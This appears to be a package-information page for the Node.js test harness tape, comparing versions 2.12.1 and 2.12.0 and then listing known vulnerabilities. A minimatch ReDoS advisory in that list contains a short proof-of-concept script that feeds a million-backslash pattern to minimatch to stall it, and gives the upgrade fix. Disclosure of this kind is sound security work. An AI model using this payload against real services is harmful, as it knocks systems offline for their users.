Tape is a simple, yet powerful, TAP-producing test harness for Node.js and browsers, designed for developers who value straightforward testing methodologies. Comparing version 2.12.1 and 2.12.0 reveals minimal changes but highlights the continuous maintenance of the library. Both versions share identical dependencies like glob, defined, resumer, through, inherits, deep-equal, and object-inspect for core functionality, along with development dependencies such as tap, falafel, and concat-stream for testing and code analysis. This consistency underscores the stability of Tape's core features. The key difference lies in the release date, with version 2.12.1 released on March 30, 2014, subsequent to version 2.12.0 on March 24, 2014. This indicates bug fixes or minor adjustments were implemented in the newer version. As a result, developers should opt for tape's latest version for accessing recent improvements and a more fine-tuned edition. Tape's license is under MIT, enabling broad applicability for open-source and commercial efforts. The project's repository is located in Github. The project is written and maintained by James Halliday.
All the vulnerabilities related to the version 2.12.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.